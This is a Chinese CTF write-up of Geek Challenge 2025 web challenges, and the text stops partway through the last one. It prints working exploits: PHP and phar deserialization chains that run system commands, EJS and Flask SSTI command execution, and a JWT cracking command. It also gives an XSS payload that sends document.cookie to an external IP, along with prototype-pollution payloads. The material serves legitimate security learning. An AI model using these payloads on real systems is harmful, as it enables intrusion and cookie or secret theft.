极客大挑战2025(主要是week1 2的题目 有些3 4的题目过于复杂还没弄清楚)
Vibe SEO
此题若是知道站点地图 可以直接尝试输入/sitemap.xml
但是若不知道也可以进行目录扫描
扫描之后访问/sitemap.xml
发现了c
访问/aa__^^.php
发现一堆报错

我们可以依次往下看
主要是看到有两个方面 第一是undefined 第二是readfile这个函数
说明我们需要给filename传递参数 且可以读取它的文件 于是我们想去读/aa__^^.php到底源码是什么
可以传入其本身 filename=/aa__^^.php
源码如下:
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}此处造成的漏洞是未闭合导致可以使用文件描述符去读取文件
1.文件描述符是什么:linux使用文件描述符去指代对应的文件 就是一个快捷方式 通常是存放于/dev/fd 这个虚拟目录当中
2./dev/fd等价于/proc/self/fd/
3.漏洞产生原因在于:linux在打开文件时会自动给每个文件分配一个文件描述符 在进程结束(如exit)或者是fclose关闭时就会被删除
但是此时两者均不占 所以导致了漏洞 故而我们可以使用爆破的方式来猜出/my_secret.txt的文件描述符是哪个整数
?filename=/dev/fd/13
one_last_image
对一句话木马进行了一定的过滤 短标签等号绕过即可
popself
反序列化 先贴上源码
<?php
show_source(__FILE__);
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>先说明反序列化思路(倒叙法)
set方法
1.有一个fox
2.检查All_in_one是否不是该类的实例 检查fox是否等于summer
既然这样就很明了了 fox要干的事情就是使其调用summer类的find_myself方法 这样就能通过检查了
$komiko->Eureka($this->L, $this->sleep3r);
3.会调用Eureka方法
此处的Eureka又会调用call方法 因为Eureka是一个属性而并非一个方法
接下来寻找怎么去调用set方法(即找不存在或者说未定义的属性)
发现了desturct方法内部的partner属性
调用这个属性就是一个md5的比较 通过即可
再来看call方法
__call($method, $args)
L是method sleep3r是args
echo $args[1];
有echo 说明此时要利用sleep3r去调用tostring方法
tostring方法里面有这个
$a = $this->_4ak5ra;
$a();
一眼看过去就是要构造数组调用实例化方法
所以去寻找能够执行命令的方法
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
f设置为system arg设置为ls或其他命令即可payload如下(复制的是博客:极客大挑战2025wp | tiran's blog)
<?php
class All_in_one
{
public $KiraKiraAyu;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public $_4ak5ra;
}
class summer {}
// 对象a: 触发__destruct
$a = new All_in_one();
$a->KiraKiraAyu = "hgccx3"; // MD5碰撞值1
$a->K4per = "s155964671a"; // MD5碰撞值2
// 对象b: 触发__set
$b = new All_in_one();
$b->Fox = "summer::find_myself"; // 返回"summer"
$b->komiko = new All_in_one(); // 触发__call
$b->L = "1e5"; // 科学计数法,满足<4且+1>10000
// 对象c: 最终执行system
$c = new All_in_one();
$c->Samsāra = "system";
$c->ivory = "env";
// 对象d: 触发__toString -> __invoke
$d = new All_in_one();
$d->_4ak5ra = [$c, "__invoke"];
// 连接利用链
$b->sleep3r = $d; // __call的第二个参数,触发__toString
$a->QYQS = $b; // __destruct设置partner时触发__set
echo urlencode(serialize($a));
?>这里强调两个东西
静态调用:"summer::find_myself"
实例调用:[$c, "__invoke"]
这两个是千万不能混用的
最简单的区分 看是实例化方法还是静态方法就看这个方法里面有没有$this
$this代表的是当前正在执行指令的这个对象
Xross The Finish Line(较难)
此题考察的是存储型xss 这就不过多赘述了
既然是xss 最先想到了是否去偷取cookie
那么在2024的极客里面也有一道偷取cookie的题目
payload如下:
<script>alert(document.cookie);</script>试了一下发现不行 有过滤
那么此时如何测试过滤呢?
可以去github上找一个字典 但是因为这里有回显 所以说我想到了是否可以使用一个工具去测试一下呢?
于是在github上找到了xsstrike这个工具 链接如下:
s0md3v/XSStrike: Most advanced XSS scanner.
这个工具可以进行fuzz过滤测试

最大的疑问在于我们输入后提交页面其实是没有任何变化的 那我们怎么知道是什么请求方式和参数呢
这里就要去抓包看 或是最简单的 去看网络选项卡
根据上面的结果我们可以列出来一些过滤的东西
["script", "img", " ", "\n", "error", """, "'"]
payload如下:
方法一:外带cookie至自己的服务器
<svg/onload=location=`http://101.200.39.193/`+document.cookie>
方法二:弹窗回显:
<svg/onload=alert(document.cookie)>方法一来自博客:2025极客大挑战
两者都可以偷取cookie就是不知道为什么回显不出flag
这里稍微解释一下这个payload
svg本质是一个图片(绕过script)onload是加载事件 location及其后面的全都是需要执行的js代码 location代表了window.location.href
即跳转到后面的这个url 跳转到了我们的服务器并且把cookie偷出来了 +是字符串连接符
原始payload:
<script> window.location.href = "http://101.200.39.193/" + document.cookie; </script>Expression
此题首先是一个jwt爆破密钥(题目给的提示告诉我们一开始要从jwt入手)
kali虚拟机自带了一个jwt字典 为rockyou.txt
这个字典复制下来粘贴到jwt_tool_master的目录下面即可使用
命令如下:
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjIyMjg2ODI2NzVAcXEuY29tIiwidXNlcm5hbWUiOiJ1c2VyX2E4NTYwN2ZjNTc1NiIsImlhdCI6MTc2ODE3MzcxNCwiZXhwIjoxNzY4Nzc4NTE0fQ.z8nGFuaOhcTL28ZpNbnCIYU789I-CrAVabtCkSdbsYk" -C -d rockyou.txt接下来有两个点需要注意
1.题目名字为Expression 结合抓包看到的Express框架(不知道为什么我复现的时候没有 来源于博客第16届极客大挑战-web - J_0k3r)
2.Expression模板和之前的flask模板不一样 通常无沙箱 所以构造起来相对简单
<%= 7*7 %> 测试用
<%= process.mainModule.require('child_process').execSync('whoami').toString() %> 执行命令可用
<%= process.env.FLAG %> 查看环境变量可用ez_read
此题考察了两个方面 第一是文件读取 第二是ssti绕过处理
首先是文件读取方面
我们在注册成功之后点击登录 发先有读取故事页面

那么这里根据多方wp的讲解 我们去尝试读取/proc/1/environ
那么这个1代表的是什么呢 根据上面一道题的讲解不难想到 应该是进程
所以这个命令代表的就是PID 为 1 的进程的环境变量列表 环境变量很重要!!
那么这里我们还可以使用/proc/self/environ 即当前正在执行读取操作的进程
这里返回结果是一样的 说明这两个进程是重合的 但是有些时候就不是重合的 只不过1就是代表的docker启动的那个命令的进程(比如这个命令:python app.py)
读取之后内容如下
KUBERNETES_PORT=1449KUBERNETES_SERVICE_PORT=449HOSTNAME=dep-8918b14d-e5f7-44e3-98a7-ebe601c79204-69f5f7648-62tfrOLDPWD=/opt/___web_very_strange_42___PYTHONUNBUFFERED=1GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78PYTHONDONTWRITEBYTECODE=1HINT=用我提个权吧KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sockPATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=1449KUBERNETES_PORT_443_TCP_PROTO=LANG=C.UTF-8PYTHON_VERSION=3.11.14KUBERNETES_SERVICE_PORT_HTTPS=449KUBERNETES_PORT_443_TCP=KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sockPWD=/opt/___web_very_strange_42___HOME=/opt/___web_very_strange_42___发现了一个hint(考察提权)
还有一个pwd
pwd十分重要:代表了当前 Python 进程是在哪个文件夹里运行的
所以我们自然想去读一下这个进程的文件夹的源码(一般是app.py)
读取了之后发现了题目源码
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)不难发现profile路由下面有一个明显的ssti漏洞
于是我们尝试去使用fenjing梭哈发现不行
为什么不行呢 原因如下:
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload这里有长度限制!!!!
payload要求必须是114 或者是514
而fenjing还没有那么厉害能够直接精准到payload长度 它只能绕过waf
所以这里就有两个方法
1.自己构造 2.还是利用fenjing 只不过要间接使用fenjing
自己构造就不提了
主要是法二
先贴上博客的脚本:极客大挑战2025wp | tiran's blog
# 导入必要的库
from flask import Flask, request, Response # 用来搭建本地 Web 服务器
import requests # 用来向真正的靶场发送 HTTP 请求
import re # 正则表达式,用来提取页面里的结果
app = Flask(__name__) # 初始化 Flask 应用
# 这是真正的题目地址
TARGET_BASE = "http://8080-8918b14d-e5f7-44e3-98a7-ebe601c79204.challenge.ctfplus.cn/"
@app.route("/") # 定义本地路由,当你访问 http://127.0.0.1:5000/ 时触发
def forward():
# 1. 获取 Payload
# 工具(Fenjing)会把攻击代码放在 name 参数里发过来
name = request.args.get("name")
if not name:
return "请提供name参数", 400
# 2. 准备账号密码
password = "1" # 密码随便设一个,反正每次都是新注册
# 3. 核心逻辑:自动填充长度 (Bypass WAF)
# 比如 name 是 "{{7*7}}",长度是 7。
# 114 - 7 = 107。脚本会自动补 107 个 'a'。
# 最终 reg_name 变成了 "{{7*7}}aaaaa..." (总长 114)
# 这样就完美绕过了服务端 "len != 114" 的检查。
reg_name = name + 'a' * (114 - len(name))
# 4. 初始化 Session
# 使用 Session 对象可以自动保存 Cookie (session id),模拟浏览器的状态保持
s = requests.Session()
# 5. 自动化攻击流程
# 第一步:注册 (Register)
# 把带有 Payload 的名字注册进系统
s.post(f"{TARGET_BASE}/register", data={"username": reg_name, "password": password})
# 第二步:登录 (Login)
# 登录刚才注册的账号,服务器会在 Cookie 里记录你是谁
s.post(f"{TARGET_BASE}/login", data={"username": reg_name, "password": password})
# 第三步:触发漏洞 (Trigger)
# 访问个人主页。服务器读取你的用户名(包含 Payload),渲染模板,执行代码。
r = s.get(f"{TARGET_BASE}/profile")
# 6. 结果提取 (Cleaning)
# Fenjing 需要看到干净的输出(比如 "49"),而不是一堆 HTML 代码。
# 使用正则找到 <div class="rendered"> 标签里的内容
m = re.search(r'<div class="rendered">(.*?)</div>', r.text, re.DOTALL)
if not m:
return "未找到<div class=\"rendered\">", 404
content = m.group(1)
# 进一步清洗:只保留 "欢迎," 后面的部分
idx = content.find("欢迎,")
if idx == -1:
return "Not Found", 404
# 切片操作,拿到真正的执行结果
result = content[idx + len("欢迎,") :]
if not result:
return "Not Found", 404
# 7. 返回结果
# 把清洗好的结果返回给 Fenjing
return Response(result, content_type="text/plain; charset=utf-8")
if __name__ == "__main__":
# 在本地 5000 端口启动服务
app.run("0.0.0.0", 5000, debug=True)这是一个转发脚本
工作原理如下:
脚本启动之后开启监听等待
fenjing访问127.0.0.1:5000/这个路由之后尝试各种payload
此时脚本接收到fenjing发来的payload之后
发送到真正的靶场进行尝试
尝试完之后把结果发回fenjing
其实我还有一个想法
我们下载了sstilab之后修改waf之后也是开个本地靶机 然后使用fenjing跑
只不过这样我们就看不到靶场页面回显了 只能给出个payload而已
后续还考察了suid提权 给出网站:env | GTFOBins
直接查询env提权的用法 env cat /flag即可
ez-seralize
此题考察了两点 文件读取和phar反序列化
此题首先得多去尝试读取各种文件
我首先去尝试了dirsearch去扫了一下
那么这里扫到了uploads.php 1.我尝试了去读取一下(发现了uploads.php的源码)
uploads.php 源码如下:
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secure File Upload</title>
<style>
body {
font-family: "Segoe UI", Arial, sans-serif;
background: linear-gradient(135deg, #e3f2fd, #f8f9fa);
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: #fff;
padding: 2em 3em;
border-radius: 16px;
box-shadow: 0 8px 24px rgba(0,0,0,0.1);
max-width: 400px;
width: 90%;
text-align: center;
}
h1 {
color: #0078d7;
margin-bottom: 0.8em;
font-size: 1.6em;
}
input[type="file"] {
display: block;
margin: 1em auto;
font-size: 0.95em;
}
button {
background-color: #0078d7;
color: white;
border: none;
padding: 0.6em 1.4em;
border-radius: 6px;
cursor: pointer;
transition: 0.2s ease;
}
button:hover {
background-color: #005ea6;
}
.success, .error {
margin-top: 1em;
padding: 0.8em;
border-radius: 8px;
font-weight: 600;
}
.success {
background: #e8f5e9;
color: #2e7d32;
border: 1px solid #81c784;
}
.error {
background: #ffebee;
color: #c62828;
border: 1px solid #ef9a9a;
}
.footer {
margin-top: 1.5em;
font-size: 0.85em;
color: #666;
}
</style>
</head>
<body>
<div class="container">
<h1>📤 File Upload Portal</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
<?= $resultMessage ?>
<div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div>
</div>
</body>
</html>注意到
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");2.访问了这个文件 发现了文件上传界面
这里允许zip 我立马就想到了是否可以使用phar伪协议
接下里就有点不知道怎么办了 查看了很多wp
首先进题目就翻一下源代码有没有隐藏什么东西

找到了这个提示
这个的意思是这样的
1.open_basedir限制了我们去读取文件 只能读取/var/www/html 和/tmp 以及这两个的子目录 其他的都不能读取 比如/etc/passwd是读取不了的
2.sys_temp_dir upload_temp_dir 告诉我们系统临时文件和临时上传文件都存储在/tmp下(为后面访问埋下伏笔)
接下来我们访问index.php 内容如下:
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>File Reader</title>
<style>
:root{
--card-bg: #ffffff;
--page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);
--accent: #1e88e5;
--muted: #6b7280;
--success: #16a34a;
--danger: #dc2626;
--card-radius: 12px;
--card-pad: 20px;
}
html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;}
body{
background: var(--page-bg);
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}
.card{
width:100%;
max-width:820px;
background:var(--card-bg);
border-radius:var(--card-radius);
box-shadow: 0 10px 30px rgba(16,24,40,0.08);
padding:var(--card-pad);
}
h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}
p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}
form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px}
input[type="text"]{
flex:1;
padding:10px 12px;
border:1px solid #e6e9ef;
border-radius:8px;
font-size:14px;
outline:none;
transition:box-shadow .12s ease,border-color .12s ease;
}
input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)}
button.btn{
padding:10px 16px;
background:var(--accent);
color:white;
border:none;
border-radius:8px;
cursor:pointer;
font-weight:600;
}
button.btn.secondary{
background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef;
}
.hint{font-size:12px;color:var(--muted);margin-top:6px}
.result{
margin-top:14px;
border-radius:8px;
overflow:hidden;
border:1px solid #e6e9ef;
}
.result .meta{
padding:10px 12px;
display:flex;
justify-content:space-between;
align-items:center;
background:#fbfdff;
font-size:13px;
color:#111827;
}
.result .body{
padding:12px;
background:#0b1220;
color:#e6eef8;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace;
font-size:13px;
line-height:1.5;
max-height:520px;
overflow:auto;
white-space:pre-wrap;
word-break:break-word;
}
.alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;}
.alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}
.alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}
.alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}
.footer{margin-top:12px;font-size:12px;color:var(--muted)}
@media (max-width:640px){
.card{padding:16px}
.result .meta{font-size:12px}
}
</style>
</head>
<body>
<div class="card">
<h1>📄 File Reader</h1>
<p class="lead">在下面输入要读取的文件</p>
<form class="controls" method="get" action="">
<input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" />
<button type="submit" class="btn">读取文件</button>
<a class="btn secondary" href="">重置</a>
</form>
<?php if ($error !== null && $error !== ''): ?>
<div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
<?php endif; ?>
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->
<?php if ($content !== null): ?>
<div class="result" aria-live="polite">
<div class="meta">
<div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
<div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
</div>
<div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
</div>
<?php elseif ($error === null && isset($_GET['filename'])): ?>
<div class="alert warn">未能读取内容或文件为空。</div>
<?php endif; ?>
</div>
</body>
</html>重点关注几行代码
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];既然是文件读取的源代码 我们自然去找文件读取的逻辑
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
} if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);此处是文件读取函数和phar反序列化之间的联动 往下看就懂了
同时我们发现了function.php
访问之后就是我们的序列化内容(重点)
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}这个链子构造起来是很简单的 逻辑也很简单
那么最重要的是学习新的phar反序列化的知识
phar反序列化基础

简单理解有以下几点:
1.理解什么是phar
2.了解phar的构成
3.了解我们可控的是什么
4.phar和反序列化有什么关系(在于其与文件读取函数的联动以及元数据的序列化特性)

回到本题 贴上链子
<?php
// === 第一部分:把题目里的类抄下来 ===
// 这一步是为了让生成的序列化数据格式和题目一致
class A {
public $file;
public $luo;
}
class B {
public $a;
public $test;
}
class C {
public $b;
}
// === 第二部分:组装多米诺骨牌(关键!) ===
// 1. 造出最后的执行者 C
$c_final = new C();
// 这个对象里有 rce_me() 方法,它是我们要利用的核心。
// 2. 造出倒数第二步的触发器 B (为了触发 invoke)
$b_invoker = new B();
$b_invoker->a = $c_final;
// 逻辑:当 $b_invoker 被当函数调用时 -> 执行 $b_invoker->a->rce_me() -> 即 $c_final->rce_me()
// 3. 造出中间的连接器 A (为了触发 toString)
$a_string = new A();
$a_string->luo = $b_invoker;
// 逻辑:当 $a_string 被 echo 时 -> 执行 $a_string->luo() -> 即 $b_invoker() -> 触发 B::__invoke
// 4. 造出入口点 B (为了触发 wakeup)
$b_entry = new B();
$b_entry->test = $a_string;
// 逻辑:反序列化开始 -> 自动执行 $b_entry->__wakeup() -> echo $b_entry->test -> 即 echo $a_string -> 触发 A::__toString
// === 第三部分:打包成 Phar 文件 ===
@unlink("exp.phar"); // 删掉旧的
$phar = new Phar("exp.phar");
$phar->startBuffering();
// 1. 设置 Stub(伪装头)
// GIF89a 是 GIF 图片的文件头,骗过某些极其简单的文件头检测
// __HALT_COMPILER(); 是必须的,告诉 PHP 这是一个 Phar
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
// 2. 将恶意的入口对象放进 Metadata
// 【这是最最最关键的一步】
// setMetadata 会自动把 $b_entry 这个对象序列化后存入 phar 文件头中
$phar->setMetadata($b_entry);
// 3. 随便加个文件,不然 phar 不能生成
$phar->addFromString("test.txt", "hello");
$phar->stopBuffering();
echo "生成完毕,请把 exp.phar 改名为 exp.jpg 上传";
?>接下来要做的就很简单了
1.上传 2.访问/tmp/log.txt 查看我们传入的被命名成什么了 3.传入?serialized=1&filename=phar://uploads/1705030000_exp.jpg
4.访问/tmp/flag即可获取flag
这里再附上一篇phar反序列化的文章
百年继承
此题考察的是python原型链污染
在这里放两篇博客可进行学习
python原型链污染 - 学习笔记 - ciscn2024 | zty153’s_blog = 网安 = web学习
我看到的三篇wp的payload如下:
{
"__class__":{
"__base__":{
"__base__":{
"execute_method": "__import__('os').popen('mkdir -p static&&env>static/env.txt').read()"
}
}
}
} {"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').check_output(['env']).decode())"}}}}{"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').run(['env'], capture_output=True, text=True).stdout.strip())"}}}}第一个payload毫无疑问是最简单的
剩下两个是保留了函数
注意 写成下面这个payload是无法回显出flag的
{
"__class__":{
"__base__":{
"__base__":{
"execute_method": "__import__('subprocess').check_output(['env']).decode()"
}
}
}
}原因如下:

源码在这篇博客里面:第16届极客大挑战-web - J_0k3r
剩下的payload出自极客大挑战 2025 web Writeups | Nick's Blog 极客大挑战2025wp | tiran's blog
eeeeezzzzzzZip
首先dirsearch扫描目录扫到了www.zip
index.php内容如下:
<?php
session_start(); // 开启会话,用于记录用户登录状态和临时目录
error_reporting(0); // 关闭错误回显(让攻击者看不到报错信息,增加难度)
// 检查是否登录,没登录就踢回 login.php
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$salt = 'GeekChallenge_2025';
// 如果还没有生成过目录,就生成一个随机目录名
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
// 拼接沙盒路径:临时目录 + uploads_ + md5哈希
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
// 创建这个目录,权限 0700 (只有拥有者可读写执行)
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
// 扫描目录下所有文件,并排除掉 . 和 .. (当前目录和上级目录)
$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
// 【关键逻辑】如果 URL 传入了 f 参数
if (isset($_GET['f'])) {
$filename = basename($_GET['f']); // basename 防止目录穿越 (防止输入 ../../etc/passwd)
$fullpath = $SANDBOX . '/' . $filename; // 拼接完整路径
// 检查1: 文件必须存在
// 检查2: 正则限制文件名必须以 zip/bz2/gz 等结尾
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start(); // 开启输出缓冲
@include($fullpath); // 【核心漏洞点】!!!
// include 函数不仅能包含 php 文件,也能包含 txt、jpg、zip 等任何文件。
